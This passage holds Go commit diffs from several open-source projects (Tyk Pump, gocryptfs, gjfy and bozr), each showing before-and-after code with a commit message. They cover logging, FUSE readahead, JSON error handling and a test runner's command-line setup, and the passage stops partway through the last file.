<commit_before>package main

import (
	"flag"
	"github.com/Sirupsen/logrus"
	"github.com/lonelycode/tyk-pump/analytics"
	"github.com/lonelycode/tyk-pump/logger"
	"github.com/lonelycode/tyk-pump/pumps"
	"github.com/lonelycode/tyk-pump/storage"
	prefixed "github.com/x-cray/logrus-prefixed-formatter"
	"gopkg.in/vmihailenco/msgpack.v2"
	"time"
)

var SystemConfig TykPumpConfiguration
var AnalyticsStore storage.AnalyticsStorage
var UptimeStorage storage.AnalyticsStorage
var Pumps []pumps.Pump
var UptimePump pumps.MongoPump

var log = logger.GetLogger()

var mainPrefix string = "main"

func init() {
	SystemConfig = TykPumpConfiguration{}
	confFile := flag.String("c", "pump.conf", "Path to the config file")
	flag.Parse()

	log.Formatter = new(prefixed.TextFormatter)

	log.WithFields(logrus.Fields{
		"prefix": mainPrefix,
	}).Info("## Tyk Analytics Pump, ", version, " ##")

	LoadConfig(confFile, &SystemConfig)
}

func setupAnalyticsStore() {
	switch SystemConfig.AnalyticsStorageType {
	case "redis":
		AnalyticsStore = &storage.RedisClusterStorageManager{}
		UptimeStorage = &storage.RedisClusterStorageManager{}
	default:
		AnalyticsStore = &storage.RedisClusterStorageManager{}
		UptimeStorage = &storage.RedisClusterStorageManager{}
	}

	AnalyticsStore.Init(SystemConfig.AnalyticsStorageConfig)

	// Copy across the redis configuration
	uptimeConf := SystemConfig.AnalyticsStorageConfig

	// Swap key prefixes for uptime purger
	uptimeConf.(map[string]interface{})["redis_key_prefix"] = "host-checker:"
	UptimeStorage.Init(uptimeConf)
}

func initialisePumps() {
	Pumps = make([]pumps.Pump, len(SystemConfig.Pumps))
	i := 0
	for name, pmp := range SystemConfig.Pumps {
		pmpType, err := pumps.GetPumpByName(name)
		if err != nil {
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Error("Pump load error (skipping): ", err)
		} else {
			thisPmp := pmpType.New()
			initErr := thisPmp.Init(pmp.Meta)
			if initErr != nil {
				log.Error("Pump init error (skipping): ", initErr)
			} else {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Info("Init Pump: ", thisPmp.GetName())
				Pumps[i] = thisPmp
			}
		}
		i++
	}

	if !SystemConfig.DontPurgeUptimeData {
		UptimePump = pumps.MongoPump{}
		UptimePump.Init(SystemConfig.UptimePumpConfig)
		log.WithFields(logrus.Fields{
			"prefix": mainPrefix,
		}).Info("Init Uptime Pump: ", UptimePump.GetName())
	}

}

func StartPurgeLoop(nextCount int) {

	time.Sleep(time.Duration(nextCount) * time.Second)

	AnalyticsValues := AnalyticsStore.GetAndDeleteSet(storage.ANALYTICS_KEYNAME)
	if len(AnalyticsValues) > 0 {
		// Convert to something clean
		keys := make([]interface{}, len(AnalyticsValues), len(AnalyticsValues))

		for i, v := range AnalyticsValues {
			decoded := analytics.AnalyticsRecord{}
			err := msgpack.Unmarshal(v.([]byte), &decoded)
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Debug("Decoded Record: ", decoded)
			if err != nil {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Error("Couldn't unmarshal analytics data:", err)
			} else {
				keys[i] = interface{}(decoded)
			}
		}

		// Send to pumps
		if Pumps != nil {
			for _, pmp := range Pumps {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Debug("Writing to: ", pmp.GetName())
				pmp.WriteData(keys)
			}
		} else {
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Warning("No pumps defined!")
		}

	}

	if !SystemConfig.DontPurgeUptimeData {
		UptimeValues := UptimeStorage.GetAndDeleteSet(storage.UptimeAnalytics_KEYNAME)
		UptimePump.WriteUptimeData(UptimeValues)
	}

	StartPurgeLoop(nextCount)
}

func main() {
	// Create the store
	setupAnalyticsStore()

	// prime the pumps
	initialisePumps()

	// start the worker loop
	log.WithFields(logrus.Fields{
		"prefix": mainPrefix,
	}).Info("Starting purge loop @", SystemConfig.PurgeDelay, "(s)")
	StartPurgeLoop(SystemConfig.PurgeDelay)
}
<commit_msg>Switched to centralised logger<commit_after>package main

import (
	"flag"
	"github.com/Sirupsen/logrus"
	logger "github.com/TykTechnologies/tykcommon-logger"
	"github.com/lonelycode/tyk-pump/analytics"
	"github.com/lonelycode/tyk-pump/pumps"
	"github.com/lonelycode/tyk-pump/storage"
	prefixed "github.com/x-cray/logrus-prefixed-formatter"
	"gopkg.in/vmihailenco/msgpack.v2"
	"time"
)

var SystemConfig TykPumpConfiguration
var AnalyticsStore storage.AnalyticsStorage
var UptimeStorage storage.AnalyticsStorage
var Pumps []pumps.Pump
var UptimePump pumps.MongoPump

var log = logger.GetLogger()

var mainPrefix string = "main"

func init() {
	SystemConfig = TykPumpConfiguration{}
	confFile := flag.String("c", "pump.conf", "Path to the config file")
	flag.Parse()

	log.Formatter = new(prefixed.TextFormatter)

	log.WithFields(logrus.Fields{
		"prefix": mainPrefix,
	}).Info("## Tyk Analytics Pump, ", version, " ##")

	LoadConfig(confFile, &SystemConfig)
}

func setupAnalyticsStore() {
	switch SystemConfig.AnalyticsStorageType {
	case "redis":
		AnalyticsStore = &storage.RedisClusterStorageManager{}
		UptimeStorage = &storage.RedisClusterStorageManager{}
	default:
		AnalyticsStore = &storage.RedisClusterStorageManager{}
		UptimeStorage = &storage.RedisClusterStorageManager{}
	}

	AnalyticsStore.Init(SystemConfig.AnalyticsStorageConfig)

	// Copy across the redis configuration
	uptimeConf := SystemConfig.AnalyticsStorageConfig

	// Swap key prefixes for uptime purger
	uptimeConf.(map[string]interface{})["redis_key_prefix"] = "host-checker:"
	UptimeStorage.Init(uptimeConf)
}

func initialisePumps() {
	Pumps = make([]pumps.Pump, len(SystemConfig.Pumps))
	i := 0
	for name, pmp := range SystemConfig.Pumps {
		pmpType, err := pumps.GetPumpByName(name)
		if err != nil {
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Error("Pump load error (skipping): ", err)
		} else {
			thisPmp := pmpType.New()
			initErr := thisPmp.Init(pmp.Meta)
			if initErr != nil {
				log.Error("Pump init error (skipping): ", initErr)
			} else {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Info("Init Pump: ", thisPmp.GetName())
				Pumps[i] = thisPmp
			}
		}
		i++
	}

	if !SystemConfig.DontPurgeUptimeData {
		UptimePump = pumps.MongoPump{}
		UptimePump.Init(SystemConfig.UptimePumpConfig)
		log.WithFields(logrus.Fields{
			"prefix": mainPrefix,
		}).Info("Init Uptime Pump: ", UptimePump.GetName())
	}

}

func StartPurgeLoop(nextCount int) {

	time.Sleep(time.Duration(nextCount) * time.Second)

	AnalyticsValues := AnalyticsStore.GetAndDeleteSet(storage.ANALYTICS_KEYNAME)
	if len(AnalyticsValues) > 0 {
		// Convert to something clean
		keys := make([]interface{}, len(AnalyticsValues), len(AnalyticsValues))

		for i, v := range AnalyticsValues {
			decoded := analytics.AnalyticsRecord{}
			err := msgpack.Unmarshal(v.([]byte), &decoded)
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Debug("Decoded Record: ", decoded)
			if err != nil {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Error("Couldn't unmarshal analytics data:", err)
			} else {
				keys[i] = interface{}(decoded)
			}
		}

		// Send to pumps
		if Pumps != nil {
			for _, pmp := range Pumps {
				log.WithFields(logrus.Fields{
					"prefix": mainPrefix,
				}).Debug("Writing to: ", pmp.GetName())
				pmp.WriteData(keys)
			}
		} else {
			log.WithFields(logrus.Fields{
				"prefix": mainPrefix,
			}).Warning("No pumps defined!")
		}

	}

	if !SystemConfig.DontPurgeUptimeData {
		UptimeValues := UptimeStorage.GetAndDeleteSet(storage.UptimeAnalytics_KEYNAME)
		UptimePump.WriteUptimeData(UptimeValues)
	}

	StartPurgeLoop(nextCount)
}

func main() {
	// Create the store
	setupAnalyticsStore()

	// prime the pumps
	initialisePumps()

	// start the worker loop
	log.WithFields(logrus.Fields{
		"prefix": mainPrefix,
	}).Info("Starting purge loop @", SystemConfig.PurgeDelay, "(s)")
	StartPurgeLoop(SystemConfig.PurgeDelay)
}
<|endoftext|>


<commit_before>package main

import (
	"bazil.org/fuse"
	fusefs "bazil.org/fuse/fs"
	"fmt"
	"github.com/rfjakob/cluefs/lib/cluefs"
	"github.com/rfjakob/gocryptfs/frontend"
	"os"
)

const (
	PROGRAM_NAME = "gocryptfs"
)

func main() {
	// Parse command line arguments
	conf, err := cluefs.ParseArguments()
	if err != nil {
		os.Exit(1)
	}

	// Create the file system object
	var key [16]byte
	cfs := frontend.NewFS(key, conf.GetShadowDir())

	// Mount the file system
	mountOpts := []fuse.MountOption{
		fuse.FSName(PROGRAM_NAME),
		fuse.Subtype(PROGRAM_NAME),
		fuse.VolumeName(PROGRAM_NAME),
		fuse.LocalVolume(),
	}
	conn, err := fuse.Mount(conf.GetMountPoint(), mountOpts...)
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}
	defer conn.Close()

	// Start serving requests
	if err = fusefs.Serve(conn, cfs); err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

	// Check for errors when mounting the file system
	<-conn.Ready
	if err = conn.MountError; err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

	// We are done
	os.Exit(0)
}
<commit_msg>Set readahead to 1MB<commit_after>package main

import (
	"bazil.org/fuse"
	fusefs "bazil.org/fuse/fs"
	"fmt"
	"github.com/rfjakob/cluefs/lib/cluefs"
	"github.com/rfjakob/gocryptfs/frontend"
	"os"
)

const (
	PROGRAM_NAME = "gocryptfs"
)

func main() {
	// Parse command line arguments
	conf, err := cluefs.ParseArguments()
	if err != nil {
		os.Exit(1)
	}

	// Create the file system object
	var key [16]byte
	cfs := frontend.NewFS(key, conf.GetShadowDir())

	// Mount the file system
	mountOpts := []fuse.MountOption{
		fuse.FSName(PROGRAM_NAME),
		fuse.Subtype(PROGRAM_NAME),
		fuse.VolumeName(PROGRAM_NAME),
		fuse.LocalVolume(),
		fuse.MaxReadahead(1024*1024),
	}
	conn, err := fuse.Mount(conf.GetMountPoint(), mountOpts...)
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}
	defer conn.Close()

	// Start serving requests
	if err = fusefs.Serve(conn, cfs); err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

	// Check for errors when mounting the file system
	<-conn.Ready
	if err = conn.MountError; err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

	// We are done
	os.Exit(0)
}
<|endoftext|>


<commit_before>package main

import (
	"bytes"
	"encoding/json"
	"flag"
	"fmt"
	"html/template"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"
)

const (
	myName           = "gjfy"
	defaultHostname  = "localhost"
	listenDefault    = ":9154"
	uApiGet          = "/api/v1/get/"
	uApiNew          = "/api/v1/new"
	uGet             = "/g"
	uInfo            = "/i"
	uClientShell     = "/gjfy-post"
	uFav             = "/favicon.ico"
	uLogoSmall       = "/gjfy-logo-small.png"
	uCss             = "/custom.css"
	uLogo            = "/logo.png"
	maxData          = 1048576 // 1MB
	defaultValidity  = 7       // days
	expiryCheck      = 30      // minutes
	defaultMaxClicks = 1
	crtFile          = myName + ".crt"
	keyFile          = myName + ".key"
	TLSDefault       = false
	notifyDefault    = false
)

var (
	auth            TokenDB
	css             []byte
	logo            []byte
	updated         = time.Time{}
	fListen         string
	fURLBase        string
	fTLS            bool
	fNotify         bool
	scheme          = "http://"
	configDir       = "/etc/" + myName
	userMessageView string
)

type viewInfoEntry struct {
	StoreEntryInfo
	UserMessageView string
}

func getRealIP(r *http.Request) string {
	xFF := r.Header.Get("X-Forwarded-For")
	xRI := r.Header.Get("X-Real-IP")
	if xFF != "" {
		return xFF
	} else if xRI != "" {
		return xRI
	}
	return "none"
}

func Log(handler http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		realRemoteAddr := getRealIP(r)
		log.Printf("%s (%s) \"%s %s %s\" \"%s\"", r.RemoteAddr, realRemoteAddr, r.Method, r.URL.Path, r.Proto, r.Header.Get("User-Agent"))
		handler.ServeHTTP(w, r)
	})
}

func updateFiles() {
	auth = makeTokenDB(tryReadFile(authFileName))
	if auth == nil {
		log.Println("auth db could not be loaded, please fix and reload")
	}
	css = tryReadFile(cssFileName)
	logo = tryReadFile(logoFileName)
	userMessageView = fileOrConst(userMessageViewFilename, userMessageViewDefaultText)
	updated = time.Now()
}

func getURLBase() string {
	if fURLBase != "" {
		return fURLBase
	}
	sl := strings.Split(fListen, ":")
	port := sl[len(sl)-1]
	return fmt.Sprintf("%s%s:%s", scheme, defaultHostname, port)
}

func main() {
	flag.StringVar(&fListen, "listen", listenDefault, "listen on IP:port")
	flag.StringVar(&fURLBase, "urlbase", "", "base URL (will be generated by default)")
	flag.BoolVar(&fTLS, "tls", TLSDefault, "use TLS connection")
	flag.BoolVar(&fNotify, "notify", notifyDefault, "send email notification when one time link is used")
	flag.Parse()

	log.Printf("gjfy version %s\n", version)

	store := make(secretStore)
	store.NewEntry("secret", 100, 0, "test@example.org", "test")
	go store.Expiry(time.Minute * expiryCheck)

	updateFiles()

	sighup := make(chan os.Signal, 1)
	signal.Notify(sighup, syscall.SIGHUP)
	go func() {
		for {
			<-sighup
			log.Println("reloading configuration...")
			updateFiles()
		}
	}()

	tIndex := template.New("index")
	tIndex.Parse(htmlMaster)
	tIndex.Parse(htmlIndex)
	tView := template.New("view")
	tView.Parse(htmlMaster)
	tView.Parse(htmlView)
	tViewErr := template.New("viewErr")
	tViewErr.Parse(htmlMaster)
	tViewErr.Parse(htmlViewErr)
	tViewInfo := template.New("viewInfo")
	tViewInfo.Parse(htmlMaster)
	tViewInfo.Parse(htmlViewInfo)
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
		tIndex.ExecuteTemplate(w, "master", nil)
	})

	http.HandleFunc(uApiGet, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Path[len(uApiGet):]
		w.Header().Set("Content-Type", "application/json; charset=UTF-8")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			fmt.Fprintln(w, "{}")
		} else {
			store.Click(id, r)
			w.WriteHeader(http.StatusOK)
			if err := json.NewEncoder(w).Encode(entry); err != nil {
				panic(err)
			}
		}
	})

	http.HandleFunc(uApiNew, func(w http.ResponseWriter, r *http.Request) {
		var entry StoreEntry
		body, err := ioutil.ReadAll(io.LimitReader(r.Body, maxData))
		if err != nil {
			panic(err)
		}
		if err := r.Body.Close(); err != nil {
			panic(err)
		}
		w.Header().Set("Content-Type", "application/json; charset=UTF-8")
		if err := json.Unmarshal(body, &entry); err != nil {
			w.WriteHeader(422) // unprocessable entity
			if err := json.NewEncoder(w).Encode(err); err != nil {
				panic(err)
			}
		} else if !auth.isAuthorized(&entry) {
			w.WriteHeader(http.StatusUnauthorized)
			fmt.Fprintln(w, `{"error":"unauthorized"}`)
		} else {
			id := store.AddEntry(entry, "")
			newEntry, _ := store.GetEntryInfoHidden(id)
			log.Println("New ID:", id)
			w.WriteHeader(http.StatusCreated)
			if err := json.NewEncoder(w).Encode(newEntry); err != nil {
				panic(err)
			}
		}
	})

	http.HandleFunc(uGet, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Query().Get("id")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			tViewErr.ExecuteTemplate(w, "master", nil)
		} else {
			store.Click(id, r)
			w.WriteHeader(http.StatusOK)
			viewEntry := viewInfoEntry{entry, userMessageView}
			tView.ExecuteTemplate(w, "master", viewEntry)
		}
	})

	http.HandleFunc(uInfo, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Query().Get("id")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			tViewErr.ExecuteTemplate(w, "master", nil)
		} else {
			w.WriteHeader(http.StatusOK)
			tViewInfo.ExecuteTemplate(w, "master", entry)
		}
	})

	http.HandleFunc(uFav, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "image/x-icon")
		w.WriteHeader(http.StatusOK)
		w.Write(favicon)
	})

	http.HandleFunc(uLogoSmall, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "image/png")
		w.WriteHeader(http.StatusOK)
		w.Write(gjfyLogoSmall)
	})

	http.HandleFunc(uCss, func(w http.ResponseWriter, r *http.Request) {
		http.ServeContent(w, r, cssFileName, updated, bytes.NewReader(css))
	})

	http.HandleFunc(uLogo, func(w http.ResponseWriter, r *http.Request) {
		http.ServeContent(w, r, logoFileName, updated, bytes.NewReader(logo))
	})

	http.HandleFunc(uClientShell, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/x-sh")
		w.WriteHeader(http.StatusOK)
		ClientShellScript(w, getURLBase()+uApiNew)
	})

	if fNotify {
		log.Println("email notifications enabled")
	}

	if fTLS {
		scheme = "https://"
		cf := tryFile(crtFile)
		if cf == "" {
			log.Fatalf("unable to open %s\n", crtFile)
		}
		kf := tryFile(keyFile)
		if kf == "" {
			log.Fatalf("unable to open %s\n", keyFile)
		}
		log.Printf("using '%s' as URL base\n", getURLBase())
		log.Println("listening on", fListen, "with TLS")
		log.Fatal(http.ListenAndServeTLS(fListen, cf, kf, Log(http.DefaultServeMux)))
	} else {
		log.Printf("using '%s' as URL base\n", getURLBase())
		log.Println("listening on", fListen, "without TLS")
		log.Fatal(http.ListenAndServe(fListen, Log(http.DefaultServeMux)))
	}
}
<commit_msg>use jsonError type for encoding json error messages<commit_after>package main

import (
	"bytes"
	"encoding/json"
	"flag"
	"fmt"
	"html/template"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"
)

const (
	myName           = "gjfy"
	defaultHostname  = "localhost"
	listenDefault    = ":9154"
	uApiGet          = "/api/v1/get/"
	uApiNew          = "/api/v1/new"
	uGet             = "/g"
	uInfo            = "/i"
	uClientShell     = "/gjfy-post"
	uFav             = "/favicon.ico"
	uLogoSmall       = "/gjfy-logo-small.png"
	uCss             = "/custom.css"
	uLogo            = "/logo.png"
	maxData          = 1048576 // 1MB
	defaultValidity  = 7       // days
	expiryCheck      = 30      // minutes
	defaultMaxClicks = 1
	crtFile          = myName + ".crt"
	keyFile          = myName + ".key"
	TLSDefault       = false
	notifyDefault    = false
)

var (
	auth            TokenDB
	css             []byte
	logo            []byte
	updated         = time.Time{}
	fListen         string
	fURLBase        string
	fTLS            bool
	fNotify         bool
	scheme          = "http://"
	configDir       = "/etc/" + myName
	userMessageView string
)

type viewInfoEntry struct {
	StoreEntryInfo
	UserMessageView string
}

type jsonError struct {
	Error string `json:"error"`
}

func getRealIP(r *http.Request) string {
	xFF := r.Header.Get("X-Forwarded-For")
	xRI := r.Header.Get("X-Real-IP")
	if xFF != "" {
		return xFF
	} else if xRI != "" {
		return xRI
	}
	return "none"
}

func Log(handler http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		realRemoteAddr := getRealIP(r)
		log.Printf("%s (%s) \"%s %s %s\" \"%s\"", r.RemoteAddr, realRemoteAddr, r.Method, r.URL.Path, r.Proto, r.Header.Get("User-Agent"))
		handler.ServeHTTP(w, r)
	})
}

func updateFiles() {
	auth = makeTokenDB(tryReadFile(authFileName))
	if auth == nil {
		log.Println("auth db could not be loaded, please fix and reload")
	}
	css = tryReadFile(cssFileName)
	logo = tryReadFile(logoFileName)
	userMessageView = fileOrConst(userMessageViewFilename, userMessageViewDefaultText)
	updated = time.Now()
}

func getURLBase() string {
	if fURLBase != "" {
		return fURLBase
	}
	sl := strings.Split(fListen, ":")
	port := sl[len(sl)-1]
	return fmt.Sprintf("%s%s:%s", scheme, defaultHostname, port)
}

func main() {
	flag.StringVar(&fListen, "listen", listenDefault, "listen on IP:port")
	flag.StringVar(&fURLBase, "urlbase", "", "base URL (will be generated by default)")
	flag.BoolVar(&fTLS, "tls", TLSDefault, "use TLS connection")
	flag.BoolVar(&fNotify, "notify", notifyDefault, "send email notification when one time link is used")
	flag.Parse()

	log.Printf("gjfy version %s\n", version)

	store := make(secretStore)
	store.NewEntry("secret", 100, 0, "test@example.org", "test")
	go store.Expiry(time.Minute * expiryCheck)

	updateFiles()

	sighup := make(chan os.Signal, 1)
	signal.Notify(sighup, syscall.SIGHUP)
	go func() {
		for {
			<-sighup
			log.Println("reloading configuration...")
			updateFiles()
		}
	}()

	tIndex := template.New("index")
	tIndex.Parse(htmlMaster)
	tIndex.Parse(htmlIndex)
	tView := template.New("view")
	tView.Parse(htmlMaster)
	tView.Parse(htmlView)
	tViewErr := template.New("viewErr")
	tViewErr.Parse(htmlMaster)
	tViewErr.Parse(htmlViewErr)
	tViewInfo := template.New("viewInfo")
	tViewInfo.Parse(htmlMaster)
	tViewInfo.Parse(htmlViewInfo)
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
		tIndex.ExecuteTemplate(w, "master", nil)
	})

	http.HandleFunc(uApiGet, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Path[len(uApiGet):]
		w.Header().Set("Content-Type", "application/json; charset=UTF-8")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			if jerr := json.NewEncoder(w).Encode(jsonError{"not found"}); jerr != nil {
				panic(jerr)
			}
		} else {
			store.Click(id, r)
			w.WriteHeader(http.StatusOK)
			if err := json.NewEncoder(w).Encode(entry); err != nil {
				panic(err)
			}
		}
	})

	http.HandleFunc(uApiNew, func(w http.ResponseWriter, r *http.Request) {
		var entry StoreEntry
		body, err := ioutil.ReadAll(io.LimitReader(r.Body, maxData))
		if err != nil {
			panic(err)
		}
		if err := r.Body.Close(); err != nil {
			panic(err)
		}
		w.Header().Set("Content-Type", "application/json; charset=UTF-8")
		if err := json.Unmarshal(body, &entry); err != nil {
			w.WriteHeader(422) // unprocessable entity
			log.Printf("error processing json: %s", err)
			if jerr := json.NewEncoder(w).Encode(jsonError{err.Error()}); jerr != nil {
				panic(jerr)
			}
		} else if !auth.isAuthorized(&entry) {
			w.WriteHeader(http.StatusUnauthorized)
			log.Printf("unauthorized try to make new entry")
			if jerr := json.NewEncoder(w).Encode(jsonError{"unauthorized"}); jerr != nil {
				panic(jerr)
			}
		} else {
			id := store.AddEntry(entry, "")
			newEntry, _ := store.GetEntryInfoHidden(id)
			log.Println("New ID:", id)
			w.WriteHeader(http.StatusCreated)
			if err := json.NewEncoder(w).Encode(newEntry); err != nil {
				panic(err)
			}
		}
	})

	http.HandleFunc(uGet, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Query().Get("id")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			tViewErr.ExecuteTemplate(w, "master", nil)
		} else {
			store.Click(id, r)
			w.WriteHeader(http.StatusOK)
			viewEntry := viewInfoEntry{entry, userMessageView}
			tView.ExecuteTemplate(w, "master", viewEntry)
		}
	})

	http.HandleFunc(uInfo, func(w http.ResponseWriter, r *http.Request) {
		id := r.URL.Query().Get("id")
		if entry, ok := store.GetEntryInfo(id); !ok {
			w.WriteHeader(http.StatusNotFound)
			tViewErr.ExecuteTemplate(w, "master", nil)
		} else {
			w.WriteHeader(http.StatusOK)
			tViewInfo.ExecuteTemplate(w, "master", entry)
		}
	})

	http.HandleFunc(uFav, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "image/x-icon")
		w.WriteHeader(http.StatusOK)
		w.Write(favicon)
	})

	http.HandleFunc(uLogoSmall, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "image/png")
		w.WriteHeader(http.StatusOK)
		w.Write(gjfyLogoSmall)
	})

	http.HandleFunc(uCss, func(w http.ResponseWriter, r *http.Request) {
		http.ServeContent(w, r, cssFileName, updated, bytes.NewReader(css))
	})

	http.HandleFunc(uLogo, func(w http.ResponseWriter, r *http.Request) {
		http.ServeContent(w, r, logoFileName, updated, bytes.NewReader(logo))
	})

	http.HandleFunc(uClientShell, func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/x-sh")
		w.WriteHeader(http.StatusOK)
		ClientShellScript(w, getURLBase()+uApiNew)
	})

	if fNotify {
		log.Println("email notifications enabled")
	}

	if fTLS {
		scheme = "https://"
		cf := tryFile(crtFile)
		if cf == "" {
			log.Fatalf("unable to open %s\n", crtFile)
		}
		kf := tryFile(keyFile)
		if kf == "" {
			log.Fatalf("unable to open %s\n", keyFile)
		}
		log.Printf("using '%s' as URL base\n", getURLBase())
		log.Println("listening on", fListen, "with TLS")
		log.Fatal(http.ListenAndServeTLS(fListen, cf, kf, Log(http.DefaultServeMux)))
	} else {
		log.Printf("using '%s' as URL base\n", getURLBase())
		log.Println("listening on", fListen, "without TLS")
		log.Fatal(http.ListenAndServe(fListen, Log(http.DefaultServeMux)))
	}
}
<|endoftext|>


<commit_before>package main

import (
	"bytes"
	"errors"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"os"
	"path"
	"path/filepath"
	"strings"
	"time"
)

const (
	version = "0.9.0"
)

func init() {
	flag.Usage = func() {
		h := "Usage:\n"
		h += "  bozr [OPTIONS] (DIR|FILE)\n\n"

		h += "Options:\n"
		h += "  -d, --debug		Enable debug mode\n"
		h += "  -H, --host		Base URI prefix for test calls\n"
		h += "  -w, --worker		Execute in parallel with specified number of workers\n"
		h += "      --throttle	Execute no more than specified number of requests per second (in suite)\n"
		h += "  -h, --help		Print usage\n"
		h += "  -i, --info		Enable info mode. Print request and response details\n"
		h += "      --junit		Enable junit xml reporter\n"
		h += "      --junit-output	Destination for junit report files\n"
		h += "  -v, --version		Print version information and quit\n\n"

		h += "Examples:\n"
		h += "  bozr ./examples\n"
		h += "  bozr -w 2 ./examples\n"
		h += "  bozr -H http://example.com ./examples \n"

		fmt.Fprintf(os.Stderr, h)
	}
}

var (
	suitesDir       string
	hostFlag        string
	workersFlag     int
	throttleFlag    int
	infoFlag        bool
	debugFlag       bool
	helpFlag        bool
	versionFlag     bool
	junitFlag       bool
	junitOutputFlag string

	debug *log.Logger
)

const (
	suiteExt        = ".suite.json"
	ignoredSuiteExt = ".xsuite.json"
)

func initLogger() {
	debugHandler := ioutil.Discard

	if debugFlag {
		debugHandler = os.Stdout
	}

	debug = log.New(debugHandler, "DEBUG: ", log.Ltime|log.Lshortfile)
}

func main() {
	flag.BoolVar(&debugFlag, "d", false, "Enable debug mode.")
	flag.BoolVar(&debugFlag, "debug", false, "Enable debug mode")

	flag.BoolVar(&infoFlag, "i", false, "Enable info mode. Print request and response details.")
	flag.BoolVar(&infoFlag, "info", false, "Enable info mode. Print request and response details.")

	flag.StringVar(&hostFlag, "H", "", "Test server address. Example: http://example.com/api.")
	flag.IntVar(&workersFlag, "w", 1, "Execute test sutes in parallel with provided numer of workers. Default is 1.")
	flag.IntVar(&throttleFlag, "throttle", 0, "Execute no more than specified number of requests per second (in suite)")

	flag.BoolVar(&helpFlag, "h", false, "Print usage")
	flag.BoolVar(&helpFlag, "help", false, "Print usage")

	flag.BoolVar(&versionFlag, "v", false, "Print version information and quit")
	flag.BoolVar(&versionFlag, "version", false, "Print version information and quit")

	flag.BoolVar(&junitFlag, "junit", false, "Enable junit xml reporter")
	flag.StringVar(&junitOutputFlag, "junit-output", "./report", "Destination for junit report files. Default ")

	flag.Parse()

	initLogger()

	if versionFlag {
		fmt.Println("bozr version " + version)
		return
	}

	if helpFlag {
		flag.Usage()
		return
	}

	if len(hostFlag) > 0 {
		_, err := url.ParseRequestURI(hostFlag)
		if err != nil {
			terminate("Invalid host is specified.")
			return
		}
	}

	if workersFlag < 1 || workersFlag > 9 {
		fmt.Println("Invalid number of workers:  [", workersFlag, "]. Setting to default [1]")
		workersFlag = 1
	}

	suitesDir = flag.Arg(0)

	if suitesDir == "" {
		flag.Usage()
		fmt.Println()
		terminate("You must specify a directory or file with tests.")
		return
	}

	// check specified source dir/file exists
	_, err := os.Lstat(suitesDir)
	if err != nil {
		terminate(err.Error())
		return
	}

	err = ValidateSuites(suitesDir, suiteExt, ignoredSuiteExt)
	if err != nil {
		terminate("One or more test suites are invalid.", err.Error())
		return
	}

	loader := NewSuiteLoader(suitesDir, suiteExt, ignoredSuiteExt)
	reporter := createReporter()

	RunParallel(loader, reporter, runSuite, workersFlag)
}

func runSuite(suite TestSuite) []TestResult {
	results := []TestResult{}

	throttle := NewThrottle(throttleFlag, time.Second)

	for _, testCase := range suite.Cases {

		result := TestResult{
			Suite:     suite,
			Case:      testCase,
			ExecFrame: TimeFrame{Start: time.Now(), End: time.Now()},
		}

		if testCase.Ignore != nil {
			result.Skipped = true
			result.SkippedMsg = *testCase.Ignore

			results = append(results, result)
			continue
		}

		vars := NewVars(hostFlag)
		for i, c := range testCase.Calls {

			throttle.RunOrPause()

			err := vars.AddAll(c.Args)
			if err != nil {
				result.Traces = append(result.Traces, &CallTrace{ErrorCause: err, Num: i})
				break
			}

			trace := call(suite.Dir, c, vars)
			trace.Num = i

			result.Traces = append(result.Traces, trace)

			if trace.hasError() {
				break
			}
		}

		unused := vars.Unused()
		if len(unused) != 0 {
			traces := result.Traces
			lastTrace := traces[len(traces)-1]
			lastTrace.addError(fmt.Errorf("Unused variables found: %s", unused))
		}

		result.ExecFrame.End = time.Now()

		results = append(results, result)
	}

	return results
}

func createReporter() Reporter {
	reporters := []Reporter{NewConsoleReporter(infoFlag)}
	if junitFlag {
		path, _ := filepath.Abs(junitOutputFlag)
